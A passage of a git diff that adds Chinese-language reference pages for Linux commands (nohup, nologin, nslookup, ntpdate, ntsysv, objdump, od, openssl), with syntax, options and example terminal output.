+该指令表示不做挂断操作,后台下载 + +```bash +nohup wget site.com/file.zip +``` + +下面命令,会在同一个目录下生成一个名称为 `nohup.out` 的文件,其中包含了正在运行的程序的输出内容 + +```bash +nohup ping -c 10 baidu.com +``` + + diff --git a/LearnShell/LinuxCommands/nologin.md b/LearnShell/LinuxCommands/nologin.md new file mode 100644 index 0000000..f51e406 --- /dev/null +++ b/LearnShell/LinuxCommands/nologin.md @@ -0,0 +1,59 @@ +nologin +=== + +拒绝用户登录系统 + +## 补充说明 + +**nologin命令** 可以实现礼貌地拒绝用户登录系统,同时给出信息。如果尝试以这类用户登录,就在log里添加记录,然后在终端输出This account is currently not available信息,就是这样。一般设置这样的帐号是给启动服务的账号所用的,这只是让服务启动起来,但是不能登录系统。 + +### 语法 + +``` +nologin +``` + +### 实例 + +Linux禁止用户登录: + +禁止用户登录后,用户不能登录系统,但可以登录ftp、SAMBA等。我们在Linux下做系统维护的时候,希望个别用户或者所有用户不能登录系统,保证系统在维护期间正常运行。这个时候我们就要禁止用户登录。   + +1、禁止个别用户登录,比如禁止lynn用户登录。 + +``` +passwd -l lynn +``` + +这就话的意思是锁定lynn用户,这样该用户就不能登录了。   + +``` +passwd -u lynn +``` + +上面是对锁定的用户lynn进行解锁,用户可登录了。     + +2、我们通过修改`/etc/passwd`文件中用户登录的shell + +``` +vi /etc/passwd +``` + +更改为: + +``` +lynn:x:500:500::/home/lynn:/sbin/nologin +``` + +该用户就无法登录了。   + +3、禁止所有用户登录。 + +``` +touch /etc/nologin +``` + +除root以外的用户不能登录了。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/nslookup.md b/LearnShell/LinuxCommands/nslookup.md new file mode 100644 index 0000000..212185a --- /dev/null +++ b/LearnShell/LinuxCommands/nslookup.md @@ -0,0 +1,44 @@ +nslookup +=== + +查询域名DNS信息的工具 + +## 补充说明 + +**nslookup命令** 是常用域名查询工具,就是查DNS信息用的命令。 + +nslookup4有两种工作模式,即“交互模式”和“非交互模式”。在“交互模式”下,用户可以向域名服务器查询各类主机、域名的信息,或者输出域名中的主机列表。而在“非交互模式”下,用户可以针对一个主机或域名仅仅获取特定的名称或所需信息。 + +进入交互模式,直接输入nslookup命令,不加任何参数,则直接进入交互模式,此时nslookup会连接到默认的域名服务器(即`/etc/resolv.conf`的第一个dns地址)。或者输入`nslookup -nameserver/ip`。进入非交互模式,就直接输入`nslookup 域名`就可以了。 + +### 语法 + +``` +nslookup(选项)(参数) +``` + +### 选项 + +``` +-sil:不显示任何警告信息。 +``` + +### 参数 + +域名:指定要查询域名。 + +### 实例 + +``` +[root@localhost ~]# nslookup www.jsdig.com +Server: 202.96.104.15 +Address: 202.96.104.15#53 + +Non-authoritative answer: +www.jsdig.com canonical name = host.1.jsdig.com. +Name: host.1.jsdig.com +Address: 100.42.212.8 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/ntpdate.md b/LearnShell/LinuxCommands/ntpdate.md new file mode 100644 index 0000000..f8f9fe4 --- /dev/null +++ b/LearnShell/LinuxCommands/ntpdate.md @@ -0,0 +1,118 @@ +ntpdate +=== + +使用网络计时协议(NTP)设置日期和时间 + +## 补充说明 + +**ntpdate命令** 是用来设置本地日期和时间。它从指定的每个服务器获得了一些样本,并应用标准 NTP 时钟过滤器和选择算法来选择最好的样本。 + +此 ntpdate 命令使用以下方法进行时间调整: + +* 如果它确定时钟偏差超过 0.5 秒,它通过调用 settimeofday 子例程设置时钟时间。在引导时间,这是一个首选的方法。 +* 如 果它确定时钟偏差小于 0.5 秒,它通过调用 adjtime 子例程和偏移量来调整时钟时间。此方法倾向于用牺牲一些稳定性来保持漂移时钟更加准确。 当不是通过运行一个守护程序而是从 cron 命令有规则的运行ntpdate 命令时,每一小时或两小时执行一次可以保证足够的走时精度,从而避免调整时钟。 + +使用很多服务器可以大幅度改善 ntpdate 命令的可靠性与精度。尽管能使用单一服务器,但您能通过提供至少三个或四个服务器以获得更好的性能。 + +如果一个类似 xntpd 守护程序的 NTP 服务器守护程序正在同一主机上运行,命令将拒绝ntpdate 设置日期。 + +你必须有 root 权限才能在主机上运行这个命令。 + +### 语法 + +``` +ntpdate [ -b] [ -d] [ -s] [ -u] [ -aKeyid] [ -eAuthenticationDelay] [ -kKeyFile] [ -oVersion] [ -pSamples] [ -tTimeOut] Server... +``` + +### 选项 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
-aKeyid使用 Keyid 来认证全部数据包。
-b通过调用 settimeofday 子例程来增加时钟的时间。
-d指定调试方式。判断 ntpdate 命令会产生什么结果(不产生实际的结果)。结果再现在屏幕上。这个标志使用无特权的端口。
-eAuthenticationDelay指定延迟认证处理的时间秒数。
-kKeyFile当不使用缺省值 /etc/ntp.keys 文件时,为包含密钥的文件指定一个不同的名称。 请参阅文件KeyFile的描述。
-oVersion当轮询它的发出数据包时,指定使用的 NTP 版本实现。 Version 的值可以是 1,2,3。缺省值是 3。
-pSamples指定从每个服务器获取的样本的数目。 Samples 的值在 1 和 8 之间,并包括 1 和 8。它的缺省值是 4。
-s指定日志操作 syslog 设施的使用,而不是使用标准输出。 当运行 ntpdate 命令和 cron命令时,它是很有用的。
-tTimeOut指定等待响应的时间。给定 TimeOut 的值四舍五入为 0.2 秒的倍数。缺省值是 1 秒。
-u指定使用无特权的端口发送数据包。 当在一个对特权端口的输入流量进行阻拦的防火墙后是很有益的, 并希望在防火墙之外和主机同步。防火墙是一个系统或者计算机,它控制从外网对专用网的访问。
+ + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/ntsysv.md b/LearnShell/LinuxCommands/ntsysv.md new file mode 100644 index 0000000..89a5590 --- /dev/null +++ b/LearnShell/LinuxCommands/ntsysv.md @@ -0,0 +1,32 @@ +ntsysv +=== + +集中管理系统的各种服务 + +## 补充说明 + +**ntsysv命令** 提供了一个基于文本界面的菜单操作方式,集中管理系统不同的运行等级下的系统服务启动状态。在RedHat各个发行版,CentOS各个版本,都自带这个工具。它具有互动式操作界面,您可以轻易地利用方向键和空格键等,开启,关闭操作系统在每个执行等级中,所要执行的系统服务。 + +### 语法 + +``` +ntsysv(选项) +``` + +### 选项 + +``` +--leve:指定运行等级; +--back:在互动式界面里,显示Back钮,而非cancel钮。 +``` + +### 实例 + +输入ntsysv命令后,出现一个交互式的管理菜单,如下: + +!ntsysv + +使用空格键选择或者取消选项! + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/objdump.md b/LearnShell/LinuxCommands/objdump.md new file mode 100644 index 0000000..035772a --- /dev/null +++ b/LearnShell/LinuxCommands/objdump.md @@ -0,0 +1,494 @@ +objdump +=== + +显示二进制文件信息 + +## 补充说明 + +**objdump命令** 是用查看目标文件或者可执行的目标文件的构成的gcc工具。 + +### 选项 + +``` +--archive-headers +-a +显示档案库的成员信息,类似ls -l将lib*.a的信息列出。 + +-b bfdname +--target=bfdname +指定目标码格式。这不是必须的,objdump能自动识别许多格式,比如: + +objdump -b oasys -m vax -h fu.o +显示fu.o的头部摘要信息,明确指出该文件是Vax系统下用Oasys编译器生成的目标文件。objdump -i将给出这里可以指定的目标码格式列表。 + +-C +--demangle +将底层的符号名解码成用户级名字,除了去掉所开头的下划线之外,还使得C++函数名以可理解的方式显示出来。 + +--debugging +-g +显示调试信息。企图解析保存在文件中的调试信息并以C语言的语法显示出来。仅仅支持某些类型的调试信息。有些其他的格式被readelf -w支持。 + +-e +--debugging-tags +类似-g选项,但是生成的信息是和ctags工具相兼容的格式。 + +--disassemble +-d +从objfile中反汇编那些特定指令机器码的section。 + +-D +--disassemble-all +与 -d 类似,但反汇编所有section. + +--prefix-addresses +反汇编的时候,显示每一行的完整地址。这是一种比较老的反汇编格式。 + +-EB +-EL +--endian={big|little} +指定目标文件的小端。这个项将影响反汇编出来的指令。在反汇编的文件没描述小端信息的时候用。例如S-records. + +-f +--file-headers +显示objfile中每个文件的整体头部摘要信息。 + +-h +--section-headers +--headers +显示目标文件各个section的头部摘要信息。 + +-H +--help +简短的帮助信息。 + +-i +--info +显示对于 -b 或者 -m 选项可用的架构和目标格式列表。 + +-j name +--section=name +仅仅显示指定名称为name的section的信息 + +-l +--line-numbers +用文件名和行号标注相应的目标代码,仅仅和-d、-D或者-r一起使用使用-ld和使用-d的区别不是很大,在源码级调试的时候有用,要求编译时使用了-g之类的调试编译选项。 + +-m machine +--architecture=machine +指定反汇编目标文件时使用的架构,当待反汇编文件本身没描述架构信息的时候(比如S-records),这个选项很有用。可以用-i选项列出这里能够指定的架构. + +--reloc +-r +显示文件的重定位入口。如果和-d或者-D一起使用,重定位部分以反汇编后的格式显示出来。 + +--dynamic-reloc +-R +显示文件的动态重定位入口,仅仅对于动态目标文件意义,比如某些共享库。 + +-s +--full-contents +显示指定section的完整内容。默认所有的非空section都会被显示。 + +-S +--source +尽可能反汇编出源代码,尤其当编译的时候指定了-g这种调试参数时,效果比较明显。隐含了-d参数。 + +--show-raw-insn +反汇编的时候,显示每条汇编指令对应的机器码,如不指定--prefix-addresses,这将是缺省选项。 + +--no-show-raw-insn +反汇编时,不显示汇编指令的机器码,如不指定--prefix-addresses,这将是缺省选项。 + +--start-address=address +从指定地址开始显示数据,该选项影响-d、-r和-s选项的输出。 + +--stop-address=address +显示数据直到指定地址为止,该项影响-d、-r和-s选项的输出。 + +-t +--syms +显示文件的符号表入口。类似于nm -s提供的信息 + +-T +--dynamic-syms +显示文件的动态符号表入口,仅仅对动态目标文件意义,比如某些共享库。它显示的信息类似于 nm -D|--dynamic 显示的信息。 + +-V +--version +版本信息 + +--all-headers +-x +显示所可用的头信息,包括符号表、重定位入口。-x 等价于-a -f -h -r -t 同时指定。 + +-z +--disassemble-zeroes +一般反汇编输出将省略大块的零,该选项使得这些零块也被反汇编。 + +@file 可以将选项集中到一个文件中,然后使用这个@file选项载入。 +``` + +### 实例 + +首先,在给出后面大部分测试所基于的源代码以及编译指令。 源代码如下:  + +``` +root@localhost [test]# nl mytest.cpp +``` + +``` +void printTest() { + char a; + a = 'a'; +} + +void printTest2() { +int a = 2; +a+=2; +} +``` + +对以上源代码进行编译,如下:  + +``` +[root@localhost test]# g++ -c -g mytest.cpp +``` + +这里,生成的文件是mytest.o,为了方便测试包含了调试的信息,对可执行文件的测试,显示的结果类似。  + + **查看当前使用的objdump的版本号: ** + +``` +[root@localhost test]# objdump -V +GNU objdump 2.17.50.0.6-14.el5 20061020 +Copyright 2005 free Software Foundation, Inc. +This program is free software; you may redistribute it under the terms of +the GNU General Public License. This program has absolutely no warranty. +``` + + **查看档案库文件中的信息: ** + +``` +[root@localhost test]# objdump -a libmy2.a +In archive libmy2.a: +myfile.o: file format elf32-i386 +rwxrwxrwx 0/0 2724 Nov 16 16:06 2009 myfile.o +mytest.o: file format elf32-i386 +rw-r--r-- 0/0 727 Jul 13 15:32 2011 mytest.o +``` + + **这里,libmy2.a是一个使用ar命令将多个*.o目标文件打包而生成的静态库。命令的输出类似`ar -tv`,相比较`ar -tv`输出如下: ** + +``` +[root@localhost test]# ar -tv libmy2.a +rwxrwxrwx 0/0 2724 Nov 16 16:06 2009 myfile.o +rw-r--r-- 0/0 727 Jul 13 15:32 2011 mytest.o +``` + +显示可用的架构和目标结构列表:  + +``` +[root@localhost test]# objdump -i +BFD header file version 2.17.50.0.6-14.el5 20061020 +elf32-i386 +(header little endian, data little endian) + i386 +a.out-i386-linux +(header little endian, data little endian) + i386 +efi-app-ia32 +(header little endian, data little endian) + i386 +elf64-x86-64 +(header little endian, data little endian) + i386 +elf64-little +(header little endian, data little endian) + i386 +elf64-big +(header big endian, data big endian) + i386 +elf32-little +(header little endian, data little endian) + i386 +elf32-big +(header big endian, data big endian) + i386 +srec +(header endianness unknown, data endianness unknown) + i386 +symbolsrec +(header endianness unknown, data endianness unknown) + i386 +tekhex +(header endianness unknown, data endianness unknown) + i386 +binary +(header endianness unknown, data endianness unknown) + i386 +ihex +(header endianness unknown, data endianness unknown) + i386 +trad-core +(header endianness unknown, data endianness unknown) + + elf32-i386 a.out-i386-linux efi-app-ia32 elf64-x86-64 + i386 elf32-i386 a.out-i386-linux efi-app-ia32 elf64-x86-64 + + elf64-little elf64-big elf32-little elf32-big srec symbolsrec + i386 elf64-little elf64-big elf32-little elf32-big srec symbolsrec + + tekhex binary ihex trad-core + i386 tekhex binary ihex --------- +``` + +这里,显示的信息是相对于 -b 或者 -m 选项可用的架构和目标格式列表。  + + **显示mytest.o文件中的text段的内容: ** + +``` +[root@localhost test]# objdump --section=.text -s mytest.o +mytest.o: file format elf32-i386 +Contents of section .text: +0000 5589e583 ec10c645 ff61c9c3 5589e583 U......E.a..U... +0010 ec10c745 fc020000 008345fc 02c9c3 ...E......E.... +``` + +这里注意,不能单独使用-j或者--section,例如`objdump --section=.text mytest.o`是不会运行成功的。  + + **反汇编mytest.o中的text段内容,并尽可能用源代码形式表示: ** + +``` +[root@localhost test]# objdump -j .text -S mytest.o +mytest.o: file format elf32-i386 +Disassembly of section .text: +00000000 <_Z9printTestv>: +void printTest() + 0: 55 push %ebp + 1: 89 e5 mov %esp,%ebp + 3: 83 ec 10 sub $0x10,%esp +{ + char a; + a = 'a'; + 6: c6 45 ff 61 movb $0x61,0xffffffff(%ebp) +} + a: c9 leave + b: c3 ret + +000000c <_Z10printTest2v>: +void printTest2() + c: 55 push %ebp + d: 89 e5 mov %esp,%ebp + f: 83 ec 10 sub $0x10,%esp +{ + int a = 2; + 12: c7 45 fc 02 00 00 00 movl $0x2,0xfffffffc(%ebp) + a+=2; + 19: 83 45 fc 02 addl $0x2,0xfffffffc(%ebp) +} + 1d: c9 leave + 1e: c3 ret +``` + +这里注意,不能单独使用-j或者--section,例如`objdump -j .text mytest.o是不会运行成功的`。另外-S命令对于包含调试信息的目标文件,显示的效果比较好,如果编译时没有指定g++的-g选项,那么目标文件就不包含调试信息,那么显示效果就差多了。  + + **反汇编出mytest.o的源代码: ** + +``` +[root@localhost test]# objdump -S mytest.o +mytest.o: file format elf32-i386 + +Disassembly of section .text: + +00000000 <_Z9printTestv>: +void printTest() + 0: 55 push %ebp + 1: 89 e5 mov %esp,%ebp + 3: 83 ec 10 sub $0x10,%esp +{ + char a; + a = 'a'; + 6: c6 45 ff 61 movb $0x61,0xffffffff(%ebp) +} + a: c9 leave + b: c3 ret + +0000000c <_Z10printTest2v>: +void printTest2() + c: 55 push %ebp + d: 89 e5 mov %esp,%ebp + f: 83 ec 10 sub $0x10,%esp +{ + int a = 2; + 12: c7 45 fc 02 00 00 00 movl $0x2,0xfffffffc(%ebp) + a+=2; + 19: 83 45 fc 02 addl $0x2,0xfffffffc(%ebp) +} + 1d: c9 leave + 1e: c3 ret +``` + +这里,尤其当编译的时候指定了-g这种调试参数时,反汇编的效果比较明显。隐含了-d参数。  + + **显示文件的符号表入口: ** + +``` +[root@localhost test]# objdump -t mytest.o +mytest.o: file format elf32-i386 + +SYMBOL TABLE: +00000000 l df *ABS* 00000000 mytest.cpp +00000000 l d .text 00000000 .text +00000000 l d .data 00000000 .data +00000000 l d .bss 00000000 .bss +00000000 l d .debug_abbrev 00000000 .debug_abbrev +00000000 l d .debug_info 00000000 .debug_info +00000000 l d .debug_line 00000000 .debug_line +00000000 l d .debug_frame 00000000 .debug_frame +00000000 l d .debug_loc 00000000 .debug_loc +00000000 l d .debug_pubnames 00000000 .debug_pubnames +00000000 l d .debug_aranges 00000000 .debug_aranges +00000000 l d .note.GNU-stack 00000000 .note.GNU-stack +00000000 l d .comment 00000000 .comment +00000000 g F .text 0000000c _Z9printTestv +00000000 *UND* 00000000 __gxx_personality_v0 +0000000c g F .text 00000013 _Z10printTest2v +``` + +这里,输出的信息类似`nm -s`命令的输出,相比较之下,nm命令的输出如下:  + +``` +[root@localhost test]# nm -s mytest.o +0000000c T _Z10printTest2v +00000000 T _Z9printTestv + U __gxx_personality_v0 +``` + + **显示文件的符号表入口,将底层符号解码并表示成用户级别: ** + +``` +[root@localhost test]# objdump -t -C mytest.o +mytest.o: file format elf32-i386 +SYMBOL TABLE: +00000000 l df *ABS* 00000000 mytest.cpp +00000000 l d .text 00000000 .text +00000000 l d .data 00000000 .data +00000000 l d .bss 00000000 .bss +00000000 l d .debug_abbrev 00000000 .debug_abbrev +00000000 l d .debug_info 00000000 .debug_info +00000000 l d .debug_line 00000000 .debug_line +00000000 l d .debug_frame 00000000 .debug_frame +00000000 l d .debug_loc 00000000 .debug_loc +00000000 l d .debug_pubnames 00000000 .debug_pubnames +00000000 l d .debug_aranges 00000000 .debug_aranges +00000000 l d .note.GNU-stack 00000000 .note.GNU-stack +00000000 l d .comment 00000000 .comment +00000000 g F .text 0000000c printTest() +00000000 *UND* 00000000 __gxx_personality_v0 +0000000c g F .text 00000013 printTest2() +``` + +这里,和没-C相比,printTest2函数可读性增加了。  + + **反汇编目标文件的特定机器码段: ** + +``` +[root@localhost test]# objdump -d mytest.o +mytest.o: file format elf32-i386 +Disassembly of section .text: + +00000000 <_Z9printTestv>: + 0: 55 push %ebp + 1: 89 e5 mov %esp,%ebp + 3: 83 ec 10 sub $0x10,%esp + 6: c6 45 ff 61 movb $0x61,0xffffffff(%ebp) + a: c9 leave + b: c3 ret + +0000000c <_Z10printTest2v>: + c: 55 push %ebp + d: 89 e5 mov %esp,%ebp + f: 83 ec 10 sub $0x10,%esp + 12: c7 45 fc 02 00 00 00 movl $0x2,0xfffffffc(%ebp) + 19: 83 45 fc 02 addl $0x2,0xfffffffc(%ebp) + 1d: c9 leave + 1e: c3 ret +``` + +这里,对text段的内容进行了反汇编。  + + **反汇编特定段,并将汇编代码对应的文件名称和行号对应上: ** + +``` +[root@localhost test]# objdump -d -l mytest.o +mytest.o: file format elf32-i386 +Disassembly of section .text: + +00000000 <_Z9printTestv>: +_Z9printTestv(): +/root/test/04_libraryTest/mytest.cpp:1 + 0: 55 push %ebp + 1: 89 e5 mov %esp,%ebp + 3: 83 ec 10 sub $0x10,%esp +/root/test/04_libraryTest/mytest.cpp:4 + 6: c6 45 ff 61 movb $0x61,0xffffffff(%ebp) +/root/test/04_libraryTest/mytest.cpp:5 + a: c9 leave + b: c3 ret + +0000000c <_Z10printTest2v>: +_Z10printTest2v(): +/root/test/04_libraryTest/mytest.cpp:6 + c: 55 push %ebp + d: 89 e5 mov %esp,%ebp + f: 83 ec 10 sub $0x10,%esp +/root/test/04_libraryTest/mytest.cpp:8 + 12: c7 45 fc 02 00 00 00 movl $0x2,0xfffffffc(%ebp) +/root/test/04_libraryTest/mytest.cpp:9 + 19: 83 45 fc 02 addl $0x2,0xfffffffc(%ebp) +/root/test/04_libraryTest/mytest.cpp:10 + 1d: c9 leave + 1e: c3 ret +``` + +这里,项"-d"从objfile中反汇编那些特定指令机器码的section,而使用"-l"指定用文件名和行号标注相应的目标代码,仅仅和-d、-D或者-r一起使用,使用-ld和使用-d的区别不是很大,在源码级调试的时候有用,要求编译时使用了-g之类的调试编译选项。  + + **显示目标文件各个段的头部摘要信息: ** + +``` +[root@localhost test]# objdump -h mytest.o +mytest.o: file format elf32-i386 + +Sections: +Idx Name Size VMA LMA File off Algn + 0 .text 0000001f 00000000 00000000 00000034 2**2 + CONTENTS, ALLOC, LOAD, readonly, CODE + 1 .data 00000000 00000000 00000000 00000054 2**2 + CONTENTS, ALLOC, LOAD, DATA + 2 .bss 00000000 00000000 00000000 00000054 2**2 + ALLOC + 3 .debug_abbrev 00000046 00000000 00000000 00000054 2**0 + CONTENTS, READONLY, DEBUGGING + 4 .debug_info 000000ed 00000000 00000000 0000009a 2**0 + CONTENTS, RELOC, READONLY, DEBUGGING + 5 .debug_line 0000003e 00000000 00000000 00000187 2**0 + CONTENTS, RELOC, READONLY, DEBUGGING + 6 .debug_frame 00000044 00000000 00000000 000001c8 2**2 + CONTENTS, RELOC, READONLY, DEBUGGING + 7 .debug_loc 00000058 00000000 00000000 0000020c 2**0 + CONTENTS, READONLY, DEBUGGING + 8 .debug_pubnames 0000002f 00000000 00000000 00000264 2**0 + CONTENTS, RELOC, READONLY, DEBUGGING + 9 .debug_aranges 00000020 00000000 00000000 00000293 2**0 + CONTENTS, RELOC, READONLY, DEBUGGING +10 .comment 0000002e 00000000 00000000 000002b3 2**0 + CONTENTS, READONLY +11 .note.GNU-stack 00000000 00000000 00000000 000002e1 2**0 + CONTENTS, READONLY +``` + +这里,更多的内容参见`man objdump`中的这个选项。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/od.md b/LearnShell/LinuxCommands/od.md new file mode 100644 index 0000000..f62be19 --- /dev/null +++ b/LearnShell/LinuxCommands/od.md @@ -0,0 +1,151 @@ +od +=== + +输出文件的八进制、十六进制等格式编码的字节 + +## 补充说明 + +**od命令** 用于输出文件的八进制、十六进制或其它格式编码的字节,通常用于显示或查看文件中不能直接显示在终端的字符。 + +常见的文件为文本文件和二进制文件。此命令主要用来查看保存在二进制文件中的值。比如,程序可能输出大量的数据记录,每个数据是一个单精度浮点数。这些数据记录存放在一个文件中,如果想查看下这个数据,这时候od命令就派上用场了。在我看来,od命令主要用来格式化输出文件数据,即对文件中的数据进行无二义性的解释。不管是IEEE754格式的浮点数还是ASCII码,od命令都能按照需求输出它们的值。 + +### 语法 + +``` +od(选项)(参数) +``` + +### 选项 + +``` +-a:此参数的效果和同时指定“-ta”参数相同; +-A:<字码基数>:选择以何种基数计算字码; +-b:此参数的效果和同时指定“-toC”参数相同; +-c:此参数的效果和同时指定“-tC”参数相同; +-d:此参数的效果和同时指定“-tu2”参数相同; +-f:此参数的效果和同时指定“-tfF”参数相同; +-h:此参数的效果和同时指定“-tx2”参数相同; +-i:此参数的效果和同时指定“-td2”参数相同; +-j<字符数目>或--skip-bytes=<字符数目>:略过设置的字符数目; +-l:此参数的效果和同时指定“-td4”参数相同; +-N<字符数目>或--read-bytes=<字符数目>:到设置的字符树目为止; +-o:此参数的效果和同时指定“-to2”参数相同; +-s<字符串字符数>或--strings=<字符串字符数>:只显示符合指定的字符数目的字符串; +-t<输出格式>或--format=<输出格式>:设置输出格式; +-v或--output-duplicates:输出时不省略重复的数据; +-w<每列字符数>或--width=<每列字符数>:设置每列的最大字符数; +-x:此参数的效果和同时指定“-h”参数相同; +--help:在线帮助; +--version:显示版本信息。 +``` + +### 参数 + +文件:指定要显示的文件。 + +### 实例 + +``` +[linuxde@localhost ~]$ echo abcdef g > tmp +[linuxde@localhost ~]$ cat tmp +abcdef g +``` + +说明:先准备一个tmp文件 + +``` +[linuxde@localhost ~]$ od -b tmp +0000000 141 142 143 144 145 146 040 147 012 +0000011 +``` + +说明:使用单字节八进制解释进行输出,注意左侧的默认地址格式为八字节 + +``` +[linuxde@localhost ~]$ od -c tmp +0000000 a b c d e f g \n +0000011 +``` + +说明:使用ASCII码进行输出,注意其中包括转义字符 + +``` +[linuxde@localhost ~]$ od -t d1 tmp +0000000 97 98 99 100 101 102 32 103 10 +0000011 +``` + +说明:使用单字节十进制进行解释 + +``` +[linuxde@localhost ~]$ od -A d -c tmp +0000000 a b c d e f g \n +0000009 +``` + +说明:设置地址格式为十进制。 + +``` +[linuxde@localhost ~]$ od -A x -c tmp +000000 a b c d e f g \n +000009 +``` + +说明:设置地址格式为十六进制 + +``` +[linuxde@localhost ~]$ od -j 2 -c tmp +0000002 c d e f g \n +0000011 +``` + +说明:跳过开始的两个字节 + +``` +[linuxde@localhost ~]$ od -N 2 -j 2 -c tmp +0000002 c d +0000004 +``` + +说明:跳过开始的两个字节,并且仅输出两个字节 + +``` +[linuxde@localhost ~]$ od -w1 -c tmp +0000000 a +0000001 b +0000002 c +0000003 d +0000004 e +0000005 f +0000006 +0000007 g +0000010 \n +0000011 +``` + +说明:每行仅输出1个字节 + +``` +[linuxde@localhost ~]$ od -w2 -c tmp +0000000 a b +0000002 c d +0000004 e f +0000006 g +0000010 \n +0000011 +``` + +说明:每行输出两个字节 + +``` +[linuxde@localhost ~]$ od -w3 -b tmp +0000000 141 142 143 +0000003 144 145 146 +0000006 040 147 012 +0000011 +``` + +说明:每行输出3个字节,并使用八进制单字节进行解释 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/openssl.md b/LearnShell/LinuxCommands/openssl.md new file mode 100644 index 0000000..4fb84e2 --- /dev/null +++ b/LearnShell/LinuxCommands/openssl.md @@ -0,0 +1,213 @@ +openssl +=== + +强大的安全套接字层密码库 + +## 补充说明 + +**OpenSSL** 是一个强大的安全套接字层密码库,囊括主要的密码算法、常用的密钥和证书封装管理功能及SSL协议,并提供丰富的应用程序供测试或其它目的使用。在OpenSSL被曝出现严重安全漏洞后,发现多数通过SSL协议加密的网站使用名为OpenSSL的开源软件包。由于这是互联网应用最广泛的安全传输方法,被网银、在线支付、电商网站、门户网站、电子邮件等重要网站广泛使用,所以该漏洞影响范围广大。 + +OpenSSL有两种运行模式:交互模式和批处理模式。 + +直接输入openssl回车进入交互模式,输入带命令选项的openssl进入批处理模式。 + +OpenSSL整个软件包大概可以分成三个主要的功能部分:密码算法库、SSL协议库以及应用程序。OpenSSL的目录结构自然也是围绕这三个功能部分进行规划的。  + + **对称加密算法** + +OpenSSL一共提供了8种对称加密算法,其中7种是分组加密算法,仅有的一种流加密算法是RC4。这7种分组加密算法分别是AES、DES、Blowfish、CAST、IDEA、RC2、RC5,都支持电子密码本模式(ECB)、加密分组链接模式(CBC)、加密反馈模式(CFB)和输出反馈模式(OFB)四种常用的分组密码加密模式。其中,AES使用的加密反馈模式(CFB)和输出反馈模式(OFB)分组长度是128位,其它算法使用的则是64位。事实上,DES算法里面不仅仅是常用的DES算法,还支持三个密钥和两个密钥3DES算法。  + + **非对称加密算法** + +OpenSSL一共实现了4种非对称加密算法,包括DH算法、RSA算法、DSA算法和椭圆曲线算法(EC)。DH算法一般用户密钥交换。RSA算法既可以用于密钥交换,也可以用于数字签名,当然,如果你能够忍受其缓慢的速度,那么也可以用于数据加密。DSA算法则一般只用于数字签名。  + + **信息摘要算法** + +OpenSSL实现了5种信息摘要算法,分别是MD2、MD5、MDC2、SHA(SHA1)和RIPEMD。SHA算法事实上包括了SHA和SHA1两种信息摘要算法,此外,OpenSSL还实现了DSS标准中规定的两种信息摘要算法DSS和DSS1。  + + **密钥和证书管理** + +密钥和证书管理是PKI的一个重要组成部分,OpenSSL为之提供了丰富的功能,支持多种标准。  + +首先,OpenSSL实现了ASN.1的证书和密钥相关标准,提供了对证书、公钥、私钥、证书请求以及CRL等数据对象的DER、PEM和BASE64的编解码功能。OpenSSL提供了产生各种公开密钥对和对称密钥的方法、函数和应用程序,同时提供了对公钥和私钥的DER编解码功能。并实现了私钥的PKCS#12和PKCS#8的编解码功能。OpenSSL在标准中提供了对私钥的加密保护功能,使得密钥可以安全地进行存储和分发。  + +在此基础上,OpenSSL实现了对证书的X.509标准编解码、PKCS#12格式的编解码以及PKCS#7的编解码功能。并提供了一种文本数据库,支持证书的管理功能,包括证书密钥产生、请求产生、证书签发、吊销和验证等功能。  + +事实上,OpenSSL提供的CA应用程序就是一个小型的证书管理中心(CA),实现了证书签发的整个流程和证书管理的大部分机制。 + +### 实例 + + **1、消息摘要算法应用例子** + +用SHA1算法计算文件file.txt的哈西值,输出到stdout: + +``` +# openssl dgst -sha1 file.txt +``` + +用SHA1算法计算文件file.txt的哈西值,输出到文件digest.txt: + +``` +# openssl sha1 -out digest.txt file.txt +``` + +用DSS1(SHA1)算法为文件file.txt签名,输出到文件dsasign.bin。签名的private key必须为DSA算法产生的,保存在文件dsakey.pem中。 + +``` +# openssl dgst -dss1 -sign dsakey.pem -out dsasign.bin file.txt +``` + +用dss1算法验证file.txt的数字签名dsasign.bin,验证的private key为DSA算法产生的文件dsakey.pem。 + +``` +# openssl dgst -dss1 -prverify dsakey.pem -signature dsasign.bin file.txt +``` + +用sha1算法为文件file.txt签名,输出到文件rsasign.bin,签名的private key为RSA算法产生的文件rsaprivate.pem。 + +``` +# openssl sha1 -sign rsaprivate.pem -out rsasign.bin file.txt +``` + +用sha1算法验证file.txt的数字签名rsasign.bin,验证的public key为RSA算法生成的rsapublic.pem。 + +``` +# openssl sha1 -verify rsapublic.pem -signature rsasign.bin file.txt +``` + + **2、对称加密应用例子** + +对称加密应用例子,用DES3算法的CBC模式加密文件plaintext.doc,加密结果输出到文件ciphertext.bin。 + +``` +# openssl enc -des3 -salt -in plaintext.doc -out ciphertext.bin +``` + +用DES3算法的OFB模式解密文件ciphertext.bin,提供的口令为trousers,输出到文件plaintext.doc。注意:因为模式不同,该命令不能对以上的文件进行解密。 + +``` +# openssl enc -des-ede3-ofb -d -in ciphertext.bin -out plaintext.doc -pass pass:trousers +``` + +用Blowfish的CFB模式加密plaintext.doc,口令从环境变量PASSWORD中取,输出到文件ciphertext.bin。 + +``` +# openssl bf-cfb -salt -in plaintext.doc -out ciphertext.bin -pass env:PASSWORD +``` + +给文件ciphertext.bin用base64编码,输出到文件base64.txt。 + +``` +# openssl base64 -in ciphertext.bin -out base64.txt +``` + +用RC5算法的CBC模式加密文件plaintext.doc,输出到文件ciphertext.bin,salt、key和初始化向量(iv)在命令行指定。 + +``` +# openssl rc5 -in plaintext.doc -out ciphertext.bin -S C62CB1D49F158ADC -iv E9EDACA1BD7090C6 -K 89D4B1678D604FAA3DBFFD030A314B29 +``` + + **3、Diffie-Hellman应用例子** + +使用生成因子2和随机的1024-bit的素数产生D0ffie-Hellman参数,输出保存到文件dhparam.pem + +``` +# openssl dhparam -out dhparam.pem -2 1024 +``` + +从dhparam.pem中读取Diffie-Hell参数,以C代码的形式,输出到stdout。 + +``` +# openssl dhparam -in dhparam.pem -noout -C +``` + + **4、DSA应用例子应用例子** + 